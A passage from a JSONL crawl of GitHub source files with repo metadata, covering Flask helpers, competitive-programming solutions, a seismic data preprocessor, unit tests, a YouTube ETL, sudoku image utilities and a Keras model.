jsfile:\n template = Template(jsfile.read())\n # Jinja2 template automatically get rid of ['<'|'>'] chars\n content = (\n template.render(routes=routes)\n .replace(\"\\\\u003c\", \"<\")\n .replace(\"\\\\u003e\", \">\")\n )\n content_minified = jsmin(content)\n\n return Markup(content_minified)\n","repo_name":"j0ack/flask-inertia","sub_path":"flask_inertia/inertia.py","file_name":"inertia.py","file_ext":"py","file_size_in_byte":4739,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"72"} +{"seq_id":"305045123","text":"if __name__ == '__main__':\n N = int(input())\n result = []\n people = []\n\n for i in range(N):\n k = int(input())\n n = int(input())\n\n for j in range(1, k * n + n + 1):\n now = 0\n left = j - 1\n down = j - n\n\n if down > 0:\n now += people[down - 1]\n else:\n now += 1\n\n if j % n != 1 and n != 1:\n now += people[left - 1]\n\n people.append(now)\n result.append(people.pop())\n people.clear()\n\n print(*result, sep='\\n')\n","repo_name":"maroon1290/PS_JoonYeol","sub_path":"BaekJoon/Math/2775번 부녀회장이 될테야/부녀회장이 될테야.py","file_name":"부녀회장이 될테야.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10152683204","text":"from socket import *\n\ns = socket(AF_INET, SOCK_STREAM)\ns.connect(('localhost', 5555))\n\nwhile True:\n msg = input('계산식을 입력하세요: ')\n if msg == 'q':\n break\n \n s.send(msg.encode()) #계산식 서버로 전송\n\n print('결과:', s.recv(1024).decode()) #결과 출력\n\ns.close()","repo_name":"0eun99/network_programming","sub_path":"HW5/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15233969469","text":"def reader(inFile):\n N = inFile.getInt()\n return [inFile.getInts() for i in xrange(N)]\n\nfrom sys import stderr\nfrom fractions import Fraction\n\ndef cross(pts, a, b, c, d):\n a = pts[a]\n b = pts[b]\n c = pts[c]\n d = pts[d]\n \n d = [d[i] - a[i] for i in xrange(2)]\n c = [c[i] - a[i] for i in xrange(2)]\n b = [b[i] - a[i] for i in xrange(2)]\n a = [a[i] - a[i] for i in xrange(2)]\n \n d = [b[0] * d[0] + b[1] * d[1], b[1] * d[0] - b[0] * d[1]]\n c = [b[0] * c[0] + b[1] * c[1], b[1] * c[0] - b[0] * c[1]]\n b = [b[0] * b[0] + b[1] * b[1], b[1] * b[0] - b[0] * b[1]]\n \n if (c[1] == d[1]):\n if (c[1] == 0):\n if min(c[0], d[0]) > b[0]:\n return False\n if max(c[0], d[0]) < 0:\n return False\n return True\n return False\n \n if (c[1] * d[1] > 0):\n return False\n f = c[0] + Fraction((0 - c[1]) * (d[0] - c[0]), d[1] - c[1])\n return (0 <= f) and (f <= b[0])\n\ndef twiceArea(pts, seq):\n return abs(sum([pts[seq[i]][0] * pts[seq[i-1]][1] - pts[seq[i]][1] * pts[seq[i-1]][0] for i in xrange(len(seq))])) \n\ndef solver(pts):\n N = len(pts)\n routes = [[j,0,i] for i in xrange(1,N) for j in xrange(i+1,N)]\n for i in xrange(3,N):\n routes = [route + [k] for route in routes for k in xrange(1,N) if (k not in route) and (len([h for h in xrange(i-2) if cross(pts, route[h], route[h+1], route[-1], k)]) == 0)]\n routes = [route for route in routes if len([i for i in xrange(1, N - 2) if cross(pts, route[0], route[N - 1], route[i], route[i + 1])]) == 0]\n areas = [twiceArea(pts,route) for route in routes]\n mx = max(areas)\n return \" \".join([str(k) for k in routes[areas.index(mx)]])\n\nif __name__ == \"__main__\":\n from GCJ import GCJ\n GCJ(reader, solver, \"/Users/lpebody/gcj/2013_3/b/\", \"b\").run()\n\n# (0,2) (0,0) (1,1) (2,2) (2,0)\n\n","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/CodeJamData/13/52/0.py","file_name":"0.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"41882771980","text":"\"\"\"DAS data processing.\"\"\"\n\nimport logging\nimport os\n\nimport h5py\nimport numpy as np\nfrom processing_utils import processing_utils as processing\n\nfrom preprocessing import parameters\n\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef _process(data, low_freq, high_freq, dt, q):\n data = processing.bandpass(data, low_freq, high_freq, dt)\n data = processing.decimate(data, q)\n return data\n\n\ndef _crop(data, raw_window, detect_window, event_duration, dt):\n sps = 1 // dt\n start_sample = int((raw_window / 2 - (detect_window - event_duration)) * sps)\n end_sample = int((raw_window / 2 + detect_window) * sps)\n return data[:, start_sample:end_sample]\n\n\ndef _get_label(filename):\n basename = os.path.basename(filename)\n if 'noise' in basename:\n return np.zeros((1,), dtype=np.float32)\n if 'event' in basename:\n return np.ones((1,), dtype=np.float32)\n\n\ndef write_hdf5(out_file, data, label=None):\n with h5py.File(out_file, 'w') as f:\n f.create_dataset('input', data=data)\n if label is not None:\n f.create_dataset('label', data=label)\n\n\ndef read_hdf5(filename):\n channels = []\n n_samples = 8640000\n keys = ['JRSC.HNE', 'JRSC.HNN', 'JRSC.HNZ',\n 'JSFB.HNE', 'JSFB.HNN', 'JSFB.HNZ']\n with h5py.File(filename, 'r') as f:\n for key in keys:\n channel = np.zeros((n_samples,), dtype=np.float32)\n if key in f.keys():\n tmp = _process(\n f.get(key)[()], parameters.low_freq, parameters.high_freq,\n parameters.seismometer_dt,\n parameters.seismometer_downsampling_factor)\n channel[:tmp.shape[0]] = tmp\n channels.append(channel)\n return np.stack(channels, axis=0)\n return None\n\n\ndef process_windows(file_pattern, in_dir, out_dir, raw_window, detect_window,\n event_duration, low_freq, high_freq, dt, q\n ):\n filenames = processing.get_filenames(file_pattern)\n\n for i, filename in enumerate(filenames):\n if i % 1000 == 0:\n logging.info('Processed %s files.', i)\n data = read_hdf5(filename)\n if data is not None:\n data = _process(data, low_freq, high_freq, dt, q)\n data = _crop(data, raw_window, detect_window, event_duration, dt * q)\n label = _get_label(filename)\n out_file = filename.replace(in_dir, out_dir)\n os.makedirs(os.path.dirname(out_file), exist_ok=True)\n out_file = out_file.replace('.hdf5', '.h5')\n write_hdf5(out_file, data, label)\n\n\ndef process_continuous(file_pattern, in_dir, out_dir, raw_window, low_freq,\n high_freq, dt, q):\n filenames = processing.get_filenames(file_pattern)\n\n for i, filename in enumerate(filenames):\n if i % 1000 == 0:\n logging.info('Processed %s files.', i)\n out_file = filename.replace(in_dir, out_dir)\n if not os.path.exists(out_file):\n data = read_hdf5(filename)\n if data is not None:\n data = data.T\n os.makedirs(os.path.dirname(out_file), exist_ok=True)\n write_hdf5(out_file, data)\n\n\ndef main():\n datatype = 'seismometer'\n datapath = os.path.join(parameters.raw_datapath, datatype)\n file_pattern = os.path.join(datapath, '*/*/*')\n process_windows(\n file_pattern,\n in_dir=parameters.raw_datapath,\n out_dir=parameters.processed_datapath,\n raw_window=parameters.raw_window_length,\n detect_window=parameters.detect_window_length,\n event_duration=parameters.event_duration,\n low_freq=parameters.low_freq,\n high_freq=parameters.high_freq,\n dt=parameters.seismometer_dt,\n q=parameters.seismometer_downsampling_factor,\n )\n file_pattern = os.path.join(datapath, 'continuous/*')\n process_continuous(\n file_pattern,\n in_dir=parameters.raw_datapath,\n out_dir=parameters.processed_datapath,\n raw_window=parameters.continuous_window,\n low_freq=parameters.low_freq,\n high_freq=parameters.high_freq,\n dt=parameters.seismometer_dt,\n q=parameters.seismometer_downsampling_factor,\n )\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"fantine/earthquake-detection-ml","sub_path":"preprocessing/process_seismometer.py","file_name":"process_seismometer.py","file_ext":"py","file_size_in_byte":3983,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"34755579320","text":"from unittest.mock import MagicMock, patch\n\nimport numpy as np\nimport pandas as pd\n\nfrom sm.engine.postprocessing.colocalization import (\n analyze_colocalization,\n Colocalization,\n FreeableRef,\n)\nfrom sm.engine.db import DB\nfrom .utils import create_test_molecular_db, create_test_ds\n\n\ndef test_valid_colocalization_jobs_generated():\n ion_images = FreeableRef(np.array([np.linspace(0, 50, 50, False) % (i + 2) for i in range(20)]))\n ion_ids = np.array(range(20)) * 4\n fdrs = np.array([[0.05, 0.1, 0.2, 0.5][i % 4] for i in range(20)])\n\n jobs = list(analyze_colocalization('ds_id', 'HMDB_v4', ion_images, ion_ids, fdrs, 5, 10))\n\n assert len(jobs) > 1\n assert not any(job.error for job in jobs)\n sample_job = [job for job in jobs if job.fdr == 0.2 and job.algorithm_name == 'cosine'][0]\n assert len(sample_job.sample_ion_ids) > 0\n assert len(sample_job.coloc_annotations) == 15\n assert (\n len(sample_job.coloc_annotations[0][1]) > 0\n ) # First annotation was colocalized with at least one other\n\n\ndef mock_get_ion_images_for_analysis(ds_id, img_ids, **kwargs):\n images = (\n np.array(\n [np.linspace(0, 25, 25, False) % ((seed or 1) % 25) for seed in range(len(img_ids))],\n dtype=np.float32,\n )\n / 25\n )\n mask = (np.linspace(0, 25, 25, False).reshape((5, 5)) % 4 == 1) / 25\n return images, mask, (5, 5)\n\n\ndef test_new_ds_saves_to_db(test_db, metadata, ds_config):\n db = DB()\n moldb = create_test_molecular_db()\n ds_config['database_ids'] = [moldb.id]\n ds = create_test_ds(config={**ds_config, 'database_ids': [moldb.id]})\n\n ion_metrics_df = pd.DataFrame(\n {\n 'formula': ['H2O', 'H2O', 'CO2', 'CO2', 'H2SO4', 'H2SO4'],\n 'adduct': ['+H', '[M]+', '+H', '[M]+', '+H', '[M]+'],\n 'fdr': [0.05, 0.1, 0.05, 0.1, 0.05, 0.1],\n 'image_id': list(map(str, range(6))),\n }\n )\n (job_id,) = db.insert_return(\n \"INSERT INTO job (moldb_id, ds_id, status) VALUES (%s, %s, 'FINISHED') RETURNING id\",\n rows=[(moldb.id, ds.id)],\n )\n db.insert(\n 'INSERT INTO annotation('\n ' job_id, formula, chem_mod, neutral_loss, adduct, msm, fdr, stats, iso_image_ids'\n ') '\n \"VALUES (%s, %s, '', '', %s, 1, %s, '{}', %s)\",\n [(job_id, r.formula, r.adduct, r.fdr, [r.image_id]) for i, r in ion_metrics_df.iterrows()],\n )\n\n with patch(\n 'sm.engine.postprocessing.colocalization.ImageStorage.get_ion_images_for_analysis'\n ) as get_ion_images_for_analysis_mock:\n get_ion_images_for_analysis_mock.side_effect = mock_get_ion_images_for_analysis\n\n Colocalization(db).run_coloc_job(ds)\n\n jobs = db.select('SELECT id, error, sample_ion_ids FROM graphql.coloc_job')\n annotations = db.select('SELECT coloc_ion_ids, coloc_coeffs FROM graphql.coloc_annotation')\n ions = db.select('SELECT id FROM graphql.ion')\n\n assert len(jobs) > 0\n assert not any(job[1] for job in jobs)\n assert jobs[0][2]\n assert len(annotations) > 10\n assert all(len(ann[0]) == len(ann[1]) for ann in annotations)\n assert len(ions) == len(ion_metrics_df)\n","repo_name":"metaspace2020/metaspace","sub_path":"metaspace/engine/tests/test_colocalization.py","file_name":"test_colocalization.py","file_ext":"py","file_size_in_byte":3170,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"72"} +{"seq_id":"139518669","text":"# coding: utf-8\n\nfrom __future__ import division, absolute_import, print_function, unicode_literals\nimport pytest\nimport yaml\nfrom six import text_type\nfrom statface_client import StatfaceReportConfig\nfrom statface_client import StatfaceReportConfigError\n\n\ndef test_report_api_version():\n from statface_client import StatfaceClient\n client = StatfaceClient(\n client_config={\n 'username': 'robot_fake_robot_user',\n 'password': 'fake_robot_password',\n 'host': 'upload.stat.yandex-team.ru',\n },\n _no_excess_calls=True\n )\n r = client.get_report('Adhoc/Adhoc/MyOwnReport2')\n assert r.report_api_version == 'api'\n assert r._api._report_api_prefix == '_api/report/'\n r.report_api_version = 'v4'\n assert r.report_api_version == 'v4'\n assert r._api._report_api_prefix == '_v4/report/'\n\n\ndef test_base_functional():\n config = StatfaceReportConfig()\n config.title = 'заголовок'\n config.dimensions = config._fields_to_ordered_dict([{'fielddate': 'date'}])\n assert config.is_valid\n config.check_valid()\n etalon_config_dict = {\n 'title': 'заголовок',\n 'user_config': {\n 'dimensions': [{'fielddate': 'date'}],\n 'measures': []\n }\n }\n assert config.to_dict() == etalon_config_dict\n\n config_two = StatfaceReportConfig(title='другой заголовок')\n assert not config_two.is_valid\n config_two.update_from_dict(etalon_config_dict)\n assert config_two.to_dict() == etalon_config_dict\n assert repr(config_two) == repr(config)\n\n\ndef test_from_failed_dict():\n crazy_dict = {\n 'lalala': 'pampampam',\n 'title': '123'\n }\n config = StatfaceReportConfig()\n with pytest.raises(StatfaceReportConfigError):\n config.update_from_dict(crazy_dict)\n crazy_dict_two = {\n 'dimensions': '',\n 'measures': ''\n }\n with pytest.raises(StatfaceReportConfigError):\n config.update_from_dict(crazy_dict_two)\n\n\ndef test_yaml(config_yaml):\n yaml_file = config_yaml\n assert isinstance(yaml.safe_load(yaml_file), dict)\n config = StatfaceReportConfig()\n config.update_from_yaml(yaml_file)\n new_config = StatfaceReportConfig()\n dumped_config = config.to_yaml()\n assert isinstance(yaml.load(dumped_config), dict)\n config = StatfaceReportConfig()\n new_config.update_from_yaml(dumped_config)\n assert new_config.to_yaml() == dumped_config\n\n\ndef test_extra_parameters():\n etalon_dict_content = {\n 'title': 'sdfsd',\n 'extra': 'sdfsdfsdfs',\n 'dimensions': [\n {'fielddate': 'date'}\n ],\n }\n\n etalon_dict = {\n 'title': etalon_dict_content['title'],\n 'user_config': {\n 'dimensions': etalon_dict_content['dimensions'],\n 'measures': [],\n 'extra': etalon_dict_content['extra']\n }\n }\n\n config = StatfaceReportConfig(**etalon_dict_content)\n assert config.to_dict() == etalon_dict\n\n\ndef test_buggy_yaml(buggy_yaml): # pylint: disable=redefined-outer-name\n config = StatfaceReportConfig()\n with pytest.raises(StatfaceReportConfigError):\n config.update_from_yaml(buggy_yaml)\n\n\ndef test_yaml_passthrough(user_config_yaml): # pylint: disable=redefined-outer-name\n user_config_yaml_text = (\n user_config_yaml.decode('utf-8') if isinstance(user_config_yaml, bytes)\n else user_config_yaml)\n title = u\"Отчёт с YAML-конфигом\"\n\n config = StatfaceReportConfig(title=title, user_config=user_config_yaml)\n assert config.user_config_yaml() == user_config_yaml_text\n config.title = 'other title'\n assert config.user_config_yaml() == user_config_yaml_text\n config.measures['m3'] = 'number'\n new_yaml = config.user_config_yaml()\n assert isinstance(new_yaml, text_type)\n assert new_yaml != user_config_yaml_text\n\n # The reverse check:\n unsourced_config = StatfaceReportConfig(\n title=title, user_config=yaml.safe_load(user_config_yaml))\n assert unsourced_config.user_config_yaml() != user_config_yaml_text\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"library/tests/common/test_report_config.py","file_name":"test_report_config.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25631446237","text":"# if you run 10 km in 43 min 30 sec? avg time per mile? avg speed in mph\r\ndk = 10.0\r\ndm = (dk/1.61)\r\nrealdm = (dm)\r\n#avg time per mile\r\nTKM = (43.5/dk)\r\nTM = (43.5/dm)\r\nprint (\"time for 1KM:\", TKM )\r\nprint (\"time for 1M:\", TM )\r\nprint(\"Total KM to M:\", dm)\r\n#avg mile per hour\r\nMPH = (60.0/TM)\r\nprint (\"average speed in M:\", MPH)\r\n","repo_name":"v500nm/Python-Prac","sub_path":"practice with speed.py","file_name":"practice with speed.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12060721815","text":"from itertools import count\nimport json\nimport glob\nimport logging\nfrom matplotlib.pyplot import get\nimport pandas as pd\nfrom rich.progress import track\n\nfrom utils import get_db\nfrom config import Countries\n\n\nclass ETL:\n def __init__(self, config):\n self.path = config[\"data_dir\"]\n self.db = get_db(\n username=config[\"mongodb_username\"],\n password=config[\"mongodb_password\"],\n host=config[\"mongodb_host\"],\n port=config[\"mongodb_port\"],\n )\n\n def download(self, force=False):\n from kaggle import api\n\n if glob.glob(f\"{self.path}/*_youtube_trending_data.csv\") or not force:\n logging.info(\"Data already exists, skipping\")\n return\n\n logging.info(\"Downloading dataset from kaggle\")\n api.authenticate()\n api.dataset_download_files(\n \"rsrishav/youtube-trending-video-dataset\", path=self.path, unzip=True\n )\n\n @property\n def countries(self):\n countries = [\n item.split(\"/\")[-1].split(\"_\")[0]\n for item in glob.glob(f\"{self.path}/*_youtube_trending_data.csv\")\n ]\n countries.sort()\n return countries\n\n def data(self, country):\n data = pd.read_csv(f\"{self.path}/{country}_youtube_trending_data.csv\")\n columns = {\n \"video_id\": \"video_id\",\n \"title\": \"title\",\n \"publishedAt\": \"published_at\",\n \"channelId\": \"channel_id\",\n \"channelTitle\": \"channel_title\",\n \"categoryId\": \"category_id\",\n \"trending_date\": \"trending_date\",\n \"tags\": \"tags\",\n \"view_count\": \"view_count\",\n \"likes\": \"likes\",\n \"dislikes\": \"dislikes\",\n \"comment_count\": \"comment_count\",\n \"thumbnail_link\": \"thumbnail_link\",\n \"comments_disabled\": \"comments_disabled\",\n \"ratings_disabled\": \"ratings_disabled\",\n \"description\": \"description\",\n }\n data = data.rename(columns=columns)\n\n return data\n\n def categories(self, country):\n # all dataset except for US are missing categoryId 29\n # so we are taking US as base for all\n with open(f\"{self.path}/US_category_id.json\") as file:\n raw_data = json.load(file)[\"items\"]\n data = {int(item[\"id\"]): item[\"snippet\"][\"title\"] for item in raw_data}\n\n return pd.DataFrame(\n data={\n \"id\": list(data.keys()),\n \"name\": list(data.values()),\n }\n )\n\n def clean(self, data):\n data = data.drop_duplicates([\"video_id\"], keep=\"last\")\n\n # remove unused columns\n unused_columns = [\"thumbnail_link\", \"description\"]\n data = data.drop(unused_columns, axis=1)\n\n return data\n\n def run(self):\n collection_countries = self.db[\"countries\"]\n collection_countries.drop()\n\n for country in track(self.countries, description=\"Processing...\"):\n # add country to countries collection\n collection_countries.insert_one(\n {\"code\": country, \"name\": getattr(Countries, country)}\n )\n\n # get data\n df = self.data(country)\n categories_df = self.categories(country)\n\n logging.debug(\n f\"Country {country} has {len(df)} rows and {len(categories_df)} categories\"\n )\n\n # remove categories with no data\n current_categories = df.category_id.unique()\n current_categories.sort()\n categories_df = categories_df[categories_df[\"id\"].isin(current_categories)]\n\n logging.debug(f\"{len(categories_df)} categories after cleaning\")\n\n df = self.clean(data=df)\n\n df.category_id = df.category_id.map(\n lambda id: categories_df[categories_df.id == id].name.values[0]\n )\n df = df.rename(columns={\"category_id\": \"category\"})\n\n logging.debug(f\"{len(df)} rows after cleaning\")\n\n collection = self.db[country.lower()]\n collection.drop()\n\n collection.insert_many(df.to_dict(orient=\"records\"))\n logging.debug(\n f\"{collection.count_documents({})} records added to collection {country.lower()}\"\n )\n","repo_name":"sajalshres/youtube-trends","sub_path":"cli/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74391610154","text":"from flask_wtf import FlaskForm\nfrom wtforms import StringField, IntegerField, BooleanField\nfrom wtforms.fields.html5 import URLField\nfrom wtforms.validators import InputRequired, Optional, URL, NumberRange, AnyOf\n\nclass PetForm(FlaskForm):\n \"\"\"Form for adding a new pet.\"\"\"\n\n name = StringField(\"Pet Name\",\n validators = [InputRequired(message=\"Required\")])\n\n species = StringField(\"Species\",\n validators = [InputRequired(message=\"Required\"), AnyOf(values=[\"cat\", \"dog\", \"porcupine\"], message=\"Must be cat, dog, or porcupine\")])\n\n photo_url = URLField(\"Image URL\",\n validators = [Optional(), URL(message=\"Must be valid URL\")])\n\n age = IntegerField(\"Age\",\n validators = [Optional(), NumberRange(min=0, max=30, message=\"Age must be 0-30\")])\n\n notes = StringField(\"Notes\",\n validators = [Optional()])\n\n available = BooleanField(\"Available\")","repo_name":"bcdunn7/24-pet-adoption-agency","sub_path":"forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10761879435","text":"import FWCore.ParameterSet.Config as cms\n\n\n\nlumiblockanalysis = cms.EDAnalyzer(\"LumiBlockAnalyzer\",\n runRangeList = cms.VPSet(cms.PSet(runrange=cms.untracked.vuint32(0,999999))),\n numEventsNames = cms.untracked.vstring('TotalEventCounter','AfterPVFilterCounter', 'AfterNSFilterCounter', 'AfterPATCounter', 'AfterCandidatesCounter', 'AfterJetsCounter'),\n LumiSummaryTag = cms.untracked.string('lumiProducer::RECO')\n )\n\n\n\n","repo_name":"mmusich/usercode","sub_path":"ZbbAnalysis/AnalysisStep/python/lumiblockanalyzer_cfi.py","file_name":"lumiblockanalyzer_cfi.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"70741848874","text":"\"\"\"\n037 TLE(5sec)\n\"\"\"\n\nw, n = map(int, input().split())\nlrv = [list(map(int, input().split())) for _ in range(n)]\n\n# dp[i][j]: i番目まででj[mg]使うときの最大価値\ndp = [[0] * (w + 1) for _ in range(n + 1)]\nl, r, v = lrv[0]\nfor j in range(l, r + 1):\n dp[1][j] = v\n\nfor i in range(2, n + 1):\n l, r, v = lrv[i - 1]\n ras = [[l, r, 0]]\n bef_v = -1\n st, ed = -1, -1\n for j in range(w + 1):\n dp[i][j] = dp[i - 1][j] # i番目を作らない場合\n\n if dp[i - 1][j] > 0 and st == -1 and ed == -1:\n st = j # 開始地点\n elif dp[i - 1][j] != bef_v and st != -1 and ed == -1:\n ed = j - 1 # 終了地点\n if st + l <= w:\n ras.append([st + l, min(w, ed + r), bef_v])\n st, ed = -1, -1\n if dp[i - 1][j] > 0:\n st = j\n bef_v = dp[i - 1][j]\n if st != -1 and ed == -1:\n if st + l <= w:\n ras.append([st + l, w, bef_v])\n\n for bl, br, bv in ras:\n for j in range(bl, br + 1):\n # i番目を作る場合\n dp[i][j] = max(dp[i][j], bv + v)\n\nans = dp[n][w]\nprint(ans if ans > 0 else -1)","repo_name":"ymsk-sky/atcoder_part3","sub_path":"typical90/037_DontLeavetheSpice.py","file_name":"037_DontLeavetheSpice.py","file_ext":"py","file_size_in_byte":1160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37275665469","text":"from typing import Optional, List, Dict, Any\n\nfrom prl.environment.steinberger.PokerRL import NoLimitHoldem\nfrom prl.environment.Wrappers.prl_wrappers import AugmentObservationWrapper, AgentObservationType\n\n\nclass EnvironmentRegistry:\n def __init__(self):\n self._num_active_environments = 0\n self.active_ens: Optional[Dict[int, Any]] = {}\n self.metadata: Optional[Dict[int, Dict]] = {}\n\n def add_environment(self, config: dict):\n self._num_active_environments += 1\n env_id = self._num_active_environments\n num_players = config['n_players']\n starting_stack_sizes = [config['starting_stack_size'] for _ in range(num_players)]\n args = NoLimitHoldem.ARGS_CLS(n_seats=num_players,\n starting_stack_sizes_list=starting_stack_sizes,\n use_simplified_headsup_obs=False)\n env = NoLimitHoldem(is_evaluating=True,\n env_args=args,\n lut_holder=NoLimitHoldem.get_lut_holder())\n env_wrapped = AugmentObservationWrapper(env)\n env_wrapped.set_agent_observation_mode(AgentObservationType.SEER)\n self.active_ens[env_id] = env_wrapped\n self.metadata[env_id] = {'initial_state': True}\n return env_id\n","repo_name":"hellovertex/prl_api","sub_path":"prl/api/environment_registry.py","file_name":"environment_registry.py","file_ext":"py","file_size_in_byte":1309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70703955752","text":"import cv2 as cv\nimport numpy as np\nfrom keras.models import load_model\n\n\ndef intializePredectionModel():\n model = load_model('myModel.h5')\n return model\n\n\ndef biggestContour(contours):\n biggest = np.array([])\n max_area = 0\n for i in contours:\n area = cv.contourArea(i)\n if area > 50:\n peri = cv.arcLength(i, True)\n approx = cv.approxPolyDP(i, 0.02 * peri, True)\n if area > max_area and len(approx) == 4:\n biggest = approx\n max_area = area\n return biggest,max_area\n\ndef reorder(mypoints):\n mypoints = mypoints.reshape((4,2))\n mypointnew = np.zeros((4,1,2),dtype=np.int32)\n add = mypoints.sum(1)\n mypointnew[0] = mypoints[np.argmin(add)]\n mypointnew[3] = mypoints[np.argmax(add)]\n diff = np.diff(mypoints,axis=1)\n mypointnew[1] = mypoints[np.argmin(diff)]\n mypointnew[2] = mypoints[np.argmax(diff)]\n return mypointnew\n\ndef splitBoxes(img):\n rows = np.vsplit(img,9)\n boxes=[]\n for r in rows:\n cols= np.hsplit(r,9)\n for box in cols:\n boxes.append(box)\n return boxes\n\n\ndef sharp_mask(image, kernel_size=(5, 5), sigma=1.0, amount=1.0, threshold=0):\n \"\"\"Return a sharpened version of the image, using an unsharp mask.\"\"\"\n blurred = cv.GaussianBlur(image, kernel_size, sigma)\n sharpened = float(amount + 1) * image - float(amount) * blurred\n sharpened = np.maximum(sharpened, np.zeros(sharpened.shape))\n sharpened = np.minimum(sharpened, 255 * np.ones(sharpened.shape))\n sharpened = sharpened.round().astype(np.uint8)\n if threshold > 0:\n low_contrast_mask = np.absolute(image - blurred) < threshold\n np.copyto(sharpened, image, where=low_contrast_mask)\n return sharpened\n\ndef stackimages(images):\n result = []\n for image in images:\n if len(image.shape) < 3:\n img = cv.cvtColor(image,cv.COLOR_GRAY2BGR)\n img = cv.resize(img,(100,100))\n result.append(img)\n else :\n img = cv.resize(image,(100,100)) \n result.append(img)\n result = np.array(result)\n \ndef getPredection(boxes,model):\n result = []\n for image in boxes:\n ## PREPARE IMAGE\n img = np.asarray(image)\n img = img[4:img.shape[0] - 4, 4:img.shape[1] -4]\n img = cv.resize(img, (28, 28))\n img = img / 255\n img = img.reshape(1, 28, 28, 1)\n ## GET PREDICTION\n predictions = model.predict(img)\n classIndex = np.argmax(predictions)\n probabilityValue = np.amax(predictions)\n ## SAVE TO RESULT\n if probabilityValue > 0.7:\n result.append(classIndex)\n else:\n result.append(0)\n return result\n\n\ndef displayNumbers(img,numbers,color = (255,255,0)):\n secW = int(img.shape[1]/9)\n secH = int(img.shape[0]/9)\n for x in range (0,9):\n for y in range (0,9):\n if numbers[(y*9)+x] != 0 :\n cv.putText(img, str(numbers[(y*9)+x]),\n (x*secW+int(secW/2)-10, int((y+0.8)*secH)), cv.FONT_HERSHEY_COMPLEX_SMALL,\n 2, color, 2, cv.LINE_AA)\n return img\n\ndef preProcess(img):\n imgGray = cv.cvtColor(img, cv.COLOR_BGR2GRAY) # CONVERT IMAGE TO GRAY SCALE\n imgBlur = cv.GaussianBlur(imgGray, (5, 5), 1) # ADD GAUSSIAN BLUR\n imgThreshold = cv.adaptiveThreshold(imgBlur, 255, 1, 1, 11, 2) # APPLY ADAPTIVE THRESHOLD\n return imgThreshold\n\n\ndef drawGrid(img):\n secW = int(img.shape[1]/9)\n secH = int(img.shape[0]/9)\n for i in range (0,9):\n pt1 = (0,secH*i)\n pt2 = (img.shape[1],secH*i)\n pt3 = (secW * i, 0)\n pt4 = (secW*i,img.shape[0])\n cv.line(img, pt1, pt2, (0, 255, 0),2)\n cv.line(img, pt3, pt4, (0, 255, 0),2)\n return img\n\ndef stackImages(imgArray,scale):\n rows = len(imgArray)\n cols = len(imgArray[0])\n rowsAvailable = isinstance(imgArray[0], list)\n width = imgArray[0][0].shape[1]//2\n height = imgArray[0][0].shape[0]//2\n if rowsAvailable:\n for x in range ( 0, rows):\n for y in range(0, cols):\n imgArray[x][y] = cv.resize(imgArray[x][y], (0, 0), None, scale, scale)\n if len(imgArray[x][y].shape) == 2: imgArray[x][y]= cv.cvtColor( imgArray[x][y], cv.COLOR_GRAY2BGR)\n imageBlank = np.zeros((height, width, 3), np.uint8)\n hor = [imageBlank]*rows\n hor_con = [imageBlank]*rows\n for x in range(0, rows):\n hor[x] = np.hstack(imgArray[x])\n hor_con[x] = np.concatenate(imgArray[x])\n ver = np.vstack(hor)\n ver_con = np.concatenate(hor)\n else:\n for x in range(0, rows):\n imgArray[x] = cv.resize(imgArray[x], (0, 0), None, scale, scale)\n if len(imgArray[x].shape) == 2: imgArray[x] = cv.cvtColor(imgArray[x], cv.COLOR_GRAY2BGR)\n hor= np.hstack(imgArray)\n hor_con= np.concatenate(imgArray)\n ver = hor\n return ver","repo_name":"silent-learner/SudokuSolver","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"39632414819","text":"# Import required packages\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import BatchNormalization\nfrom tensorflow.keras.layers import Conv2D\nfrom tensorflow.keras.layers import MaxPooling2D\nfrom tensorflow.keras.layers import Activation\nfrom tensorflow.keras.layers import Flatten\nfrom tensorflow.keras.layers import Dropout\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.layers import Dense\n\n\nclass VGGNet:\n @staticmethod\n def build(hp):\n # Initialize model and input shape\n model = Sequential()\n channelDimension = -1\n\n # Block1: CONV => RELU => CONV => RELU => POOL layer set\n model.add(Conv2D(32, (3, 3), padding=\"same\", input_shape=(180, 180, 3)))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(Conv2D(32, (3, 3), padding=\"same\"))\n model.add(Activation(\"relu\"))\n model.add(BatchNormalization(axis=channelDimension))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n # 